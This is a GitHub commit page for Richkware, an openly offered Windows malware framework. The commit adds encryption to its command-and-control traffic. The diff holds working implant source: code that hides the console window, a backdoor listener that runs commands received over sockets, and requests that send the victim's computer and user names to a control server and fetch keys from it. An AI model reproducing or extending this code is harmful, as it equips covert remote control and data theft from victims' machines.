Skip to content

Commit

Permalink
add encryption between Richkware and RMC
Browse files Browse the repository at this point in the history
  • Loading branch information
richkmeli committed Sep 5, 2017
1 parent 9b6c821 commit b41fa42
Show file tree
Hide file tree
Showing 7 changed files with 84 additions and 73 deletions.
2 changes: 1 addition & 1 deletion main.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@
#include "src/richkware.h"

int main() {
Richkware richkware("Richk","richktest","rms-richk.rhcloud.com", "80");
Richkware richkware("Richk","richktest","192.168.99.100", "8080");

// PUT YOUR CODE HERE

Expand Down
116 changes: 63 additions & 53 deletions src/network.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -2,9 +2,10 @@
* Copyright 2016 Riccardo Melioli. All Rights Reserved.
*/


#include "network.h"

Server::Server(const char* encryptionKeyArg) {
Server::Server(std::string encryptionKeyArg) {
encryptionKey = encryptionKeyArg;
port = "none";
hThread = NULL;
Expand All @@ -14,7 +15,7 @@ Server::Server(const char* encryptionKeyArg) {
sta.ListenSocket = INVALID_SOCKET;
}

Server& Server::operator=(const Server& server) {
Server &Server::operator=(const Server &server) {
encryptionKey = server.encryptionKey;
port = server.port;
hThread = server.hThread;
Expand All @@ -25,22 +26,22 @@ Server& Server::operator=(const Server& server) {
return *this;
}

Network& Network::operator=(const Network& network) {
Network &Network::operator=(const Network &network) {
encryptionKey = network.encryptionKey;
server = network.server;
return *this;
}

Network::Network(const char* encryptionKeyArg) {
Network::Network(std::string encryptionKeyArg) {
encryptionKey = encryptionKeyArg;
server = Server(encryptionKeyArg);
}

std::string Network::RawRequest(const char* serverAddress, const char* port, const char* request) {
std::string Network::RawRequest(const char *serverAddress, const char *port, const char *request) {
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct addrinfo *result = NULL, *ptr = NULL, hints;
const char* sendbuf = request;
const char *sendbuf = request;
const int bufferlength = 512;
char recvbuf[bufferlength];
int iResult;
Expand Down Expand Up @@ -76,7 +77,7 @@ std::string Network::RawRequest(const char* serverAddress, const char* port, con
}

// Connect to server.
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
iResult = connect(ConnectSocket, ptr->ai_addr, (int) ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
ConnectSocket = INVALID_SOCKET;
Expand All @@ -92,7 +93,7 @@ std::string Network::RawRequest(const char* serverAddress, const char* port, con
}

// Send an initial buffer
iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
iResult = send(ConnectSocket, sendbuf, (int) strlen(sendbuf), 0);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
WSACleanup();
Expand All @@ -106,11 +107,9 @@ std::string Network::RawRequest(const char* serverAddress, const char* port, con
if (iResult > 0) {
// answer
response.append(recvbuf);
}
else if (iResult == 0) {
} else if (iResult == 0) {
// connection closed
}
else {
} else {
// error
}

Expand All @@ -132,51 +131,52 @@ std::string Network::RawRequest(const char* serverAddress, const char* port, con
}


bool Network::UploadInfoToRMS(const char * serverAddress, const char* port) {
const char* serverPort = server.getPort();
bool Network::UploadInfoToRMS(const char *serverAddress, const char *port) {
const char *serverPort = server.getPort();
Crypto crypto(encryptionKey);

std::string name = getenv("COMPUTERNAME");
name.append("/");
name.append(getenv("USERNAME"));

Device device = Device(name, serverPort);
// encrypt only serverPort because name is used by the server to recognize the device
std::string serverPortS = crypto.Encrypt(serverPort);
Device device = Device(name, serverPortS);

std::string deviceStr = "$" + device.getName() + "," + device.getServerPort() + "$";
deviceStr = crypto.Encrypt(deviceStr);

RawRequest(serverAddress, port, ("GET /Richkware-Manager-Server/LoadData?data=" +deviceStr +" HTTP/1.1\r\n"
"Host: " + serverAddress + "\r\n"+
"Connection: close\r\n"+
RawRequest(serverAddress, port, ("GET /Richkware-Manager-Server/LoadData?data=" + deviceStr + " HTTP/1.1\r\n"
"Host: " + serverAddress + "\r\n" +
"Connection: close\r\n" +
"\r\n").c_str());
return true;
}

std::string Network::GetEncryptionKeyFromRMS(const char * serverAddress, const char* port){
std::string Network::GetEncryptionKeyFromRMS(const char *serverAddress, const char *port) {
Crypto crypto(encryptionKey);
std::string key = "";

// create a database entry into the Richkware-Manager-Server, to obtain the encryption key server-side generated
UploadInfoToRMS(serverAddress,port);
UploadInfoToRMS(serverAddress, port);

// Primary key in RMS database.
std::string name = getenv("COMPUTERNAME");
name.append("/");
name.append(getenv("USERNAME"));

name = crypto.Encrypt(name);
key = RawRequest(serverAddress, port, ("GET /Richkware-Manager-Server/GetEncryptionKey?id=" + name +" HTTP/1.1\r\n"
"Host: " + serverAddress + "\r\n"+
"Connection: close\r\n"+
"\r\n").c_str());
key = key.substr(key.find('$')+1,(key.find('#')-key.find('$'))-1);
key = RawRequest(serverAddress, port, ("GET /Richkware-Manager-Server/GetEncryptionKey?id=" + name + " HTTP/1.1\r\n"
"Host: " + serverAddress + "\r\n" +
"Connection: close\r\n" +
"\r\n").c_str());
key = key.substr(key.find('$') + 1, (key.find('#') - key.find('$')) - 1);
key = crypto.Decrypt(key);

return key;
}

const char* Network::ResolveAddress(const char *address) {
const char* addressIP = "";
const char *Network::ResolveAddress(const char *address) {
const char *addressIP = "";
WSADATA wsaData;
struct hostent *remoteHost;
char *host_name;
Expand All @@ -198,14 +198,14 @@ const char* Network::ResolveAddress(const char *address) {
}


void Server::Start(const char* portArg, bool encrypted) {
void Server::Start(const char *portArg, bool encrypted) {
DWORD dwThreadId;
port = portArg;

if (encrypted)
sta.encryptionKey = encryptionKey;
else
sta.encryptionKey = NULL;
sta.encryptionKey = "";

SOCKET listenSocketTmp = INVALID_SOCKET;

Expand Down Expand Up @@ -243,7 +243,7 @@ void Server::Start(const char* portArg, bool encrypted) {
}

// Setup the TCP listening socket
iResult = bind(listenSocketTmp, result->ai_addr, (int)result->ai_addrlen);
iResult = bind(listenSocketTmp, result->ai_addr, (int) result->ai_addrlen);
if (iResult == SOCKET_ERROR) {
freeaddrinfo(result);
closesocket(listenSocketTmp);
Expand All @@ -264,7 +264,7 @@ void Server::Start(const char* portArg, bool encrypted) {
sta.ListenSocket = listenSocketTmp;

hThread = CreateThread(0, 0, &ServerThread,
(void*)&sta, 0, &dwThreadId);
(void *) &sta, 0, &dwThreadId);

}

Expand All @@ -284,13 +284,13 @@ HANDLE Server::getHhread() {
return hThread;
}

const char* Server::getPort() {
const char *Server::getPort() {
return port;
}

DWORD WINAPI ServerThread(void* arg) {
const char* encryptionKey = (const char*)((*((ServerThreadArgs*)arg)).encryptionKey);
SOCKET ListenSocket = (SOCKET)((*((ServerThreadArgs*)arg)).ListenSocket);
DWORD WINAPI ServerThread(void *arg) {
std::string encryptionKey = (std::string) ((*((ServerThreadArgs *) arg)).encryptionKey);
SOCKET ListenSocket = (SOCKET) ((*((ServerThreadArgs *) arg)).ListenSocket);

//HANDLE hClientThreadArray[1000];
SOCKET ClientSocket = INVALID_SOCKET;
Expand All @@ -302,55 +302,65 @@ DWORD WINAPI ServerThread(void* arg) {
WSACleanup();
return 1;
} else {
ClientSocketThreadArgs csa;
csa.ClientSocket = ClientSocket;
csa.encryptionKey = encryptionKey;
ClientSocketThreadArgs* csa = new ClientSocketThreadArgs();
csa->ClientSocket = ClientSocket;
csa->encryptionKey = encryptionKey;

//hClientThreadArray[i] =
CreateThread(0, 0, &ClientSocketThread,(void*)&csa, 0, NULL);
CreateThread(0, 0, &ClientSocketThread, (void *) /*&*/csa, 0, NULL);
}
}
return 0;
}


DWORD WINAPI ClientSocketThread(void* arg) {
ClientSocketThreadArgs csta = *((ClientSocketThreadArgs*)arg);
DWORD WINAPI ClientSocketThread(void *arg) {
ClientSocketThreadArgs csta = *((ClientSocketThreadArgs *) arg);
SOCKET ClientSocket = csta.ClientSocket;
const char* encryptionKey = csta.encryptionKey;
Crypto crypto(encryptionKey);
std::string encryptionKey = csta.encryptionKey;

Crypto crypto(encryptionKey);
const int bufferlength = 512;
int iResult;

std::string command;
std::string response;
int iSendResult;
char recvbuf[bufferlength];
int recvbuflen = bufferlength;
std::size_t posSubStr;

// Receive until the peer shuts down the connection
send(ClientSocket, "\nConnection Established\n",24, 0);
send(ClientSocket, "\nConnection Established\n", 24, 0);

do {
iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);
memset(&recvbuf[0], 0, sizeof(recvbuf));
iResult = recv(ClientSocket, recvbuf, bufferlength, 0);
command.append(recvbuf);
//command = recvbuf;

// string decryption
if (encryptionKey != NULL) command = crypto.Decrypt(command);

if (encryptionKey.compare("") != 0) {
command.erase(command.find("\r\n"), command.length());
command = crypto.Decrypt(command);
command.append("\r\n");
}

posSubStr = command.find("\n");
if (posSubStr != std::string::npos) {
// erase escape characters
//command.erase(posSubStr);

response = CommandsDispatcher(command);

// string encryption
if (encryptionKey != NULL) response = crypto.Encrypt(response);
if (encryptionKey.compare("") != 0){
std::string encResponse = (crypto.Encrypt(response) + "\n");
iSendResult = send(ClientSocket, encResponse.c_str(),encResponse.length(), 0);
} else{
iSendResult = send(ClientSocket, response.c_str(),response.length(), 0);
}

iSendResult = send(ClientSocket, response.c_str(),
(int)strlen(response.c_str()), 0);

if (iSendResult == SOCKET_ERROR) {
closesocket(ClientSocket);
Expand All @@ -363,7 +373,7 @@ DWORD WINAPI ClientSocketThread(void* arg) {

} while (iResult > 0 && response.compare("***quit***") != 0);

send(ClientSocket, "\nConnection Stopped\n",20, 0);
send(ClientSocket, "\nConnection Stopped\n", 20, 0);

// shutdown the connection
iResult = shutdown(ClientSocket, SD_SEND);
Expand All @@ -380,7 +390,7 @@ Device::Device(std::string nameArg, std::string serverPortArg) {
serverPort = serverPortArg;
}

Device& Device::operator=(const Device& device) {
Device &Device::operator=(const Device &device) {
name = device.name;
serverPort = device.serverPort;
return *this;
Expand Down
15 changes: 8 additions & 7 deletions src/network.h
Original file line number Diff line number Diff line change
Expand Up @@ -18,25 +18,26 @@
#include "protocol.h"

struct ServerThreadArgs {
const char* encryptionKey;
std::string encryptionKey;
SOCKET ListenSocket;
};

struct ClientSocketThreadArgs {
std::string encryptionKey;
SOCKET ClientSocket;
const char* encryptionKey;

};

class Server {
private:
const char* encryptionKey;
const char* port;
std::string encryptionKey;
const char *port;
HANDLE hThread;
SOCKET listenSocket;
ServerThreadArgs sta;
public:
Server() {}
Server(const char* encryptionKeyArg);
Server(std::string encryptionKeyArg);
Server& operator=(const Server& server);

void Start(const char* port, bool encrypted = false);
Expand All @@ -48,12 +49,12 @@ class Server {

class Network {
private:
const char* encryptionKey;
std::string encryptionKey;
public:
Server server;

Network() {}
Network(const char* encryptionKeyArg);
Network(std::string encryptionKeyArg);
Network& operator=(const Network& network);

std::string RawRequest(const char* serverAddress, const char* port, const char* request);
Expand Down
4 changes: 2 additions & 2 deletions src/richkware.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -108,7 +108,7 @@ void Richkware::Hibernation() {
}


Richkware::Richkware(const char *AppNameArg, const char *EncryptionKeyArg) {
Richkware::Richkware(const char *AppNameArg, std::string EncryptionKeyArg) {
appName = AppNameArg;
ShowWindow(GetConsoleWindow(), 0);
encryptionKey = EncryptionKeyArg;
Expand All @@ -135,7 +135,7 @@ Richkware::Richkware(const char *AppNameArg, const char *EncryptionKeyArg) {

}

Richkware::Richkware(const char *AppNameArg, const char *defaultEncryptionKey, const char *serverAddress,
Richkware::Richkware(const char *AppNameArg, std::string defaultEncryptionKey, const char *serverAddress,
const char *port) {
appName = AppNameArg;
ShowWindow(GetConsoleWindow(), 0);
Expand Down
6 changes: 3 additions & 3 deletions src/richkware.h
Original file line number Diff line number Diff line change
Expand Up @@ -30,17 +30,17 @@
class Richkware {
private:
std::string appName;
std::string encryptionKey;
public:
const char* encryptionKey;
BlockApps blockApps;
Network network;
Session session;
SystemStorage systemStorage;

Richkware(const char* AppNameArg, const char* EncryptionKeyArg);
Richkware(const char* AppNameArg, std::string EncryptionKeyArg);

//Get secure key from Richkware-Manager-Server and set it as encryption key. DefaultPass is used as temporary encryption key to ensure a safety communication with RMS and if this app cannot reach the RMS, then it will use DefaultPass as encryption key.
Richkware(const char* AppNameArg, const char* defaultEncryptionKey, const char* serverAddress, const char* port);
Richkware(const char* AppNameArg, std::string defaultEncryptionKey, const char* serverAddress, const char* port);

BOOL IsAdmin();
void RequestAdminPrivileges();
Expand Down
Loading

0 comments on commit b41fa42

Please sign in to comment.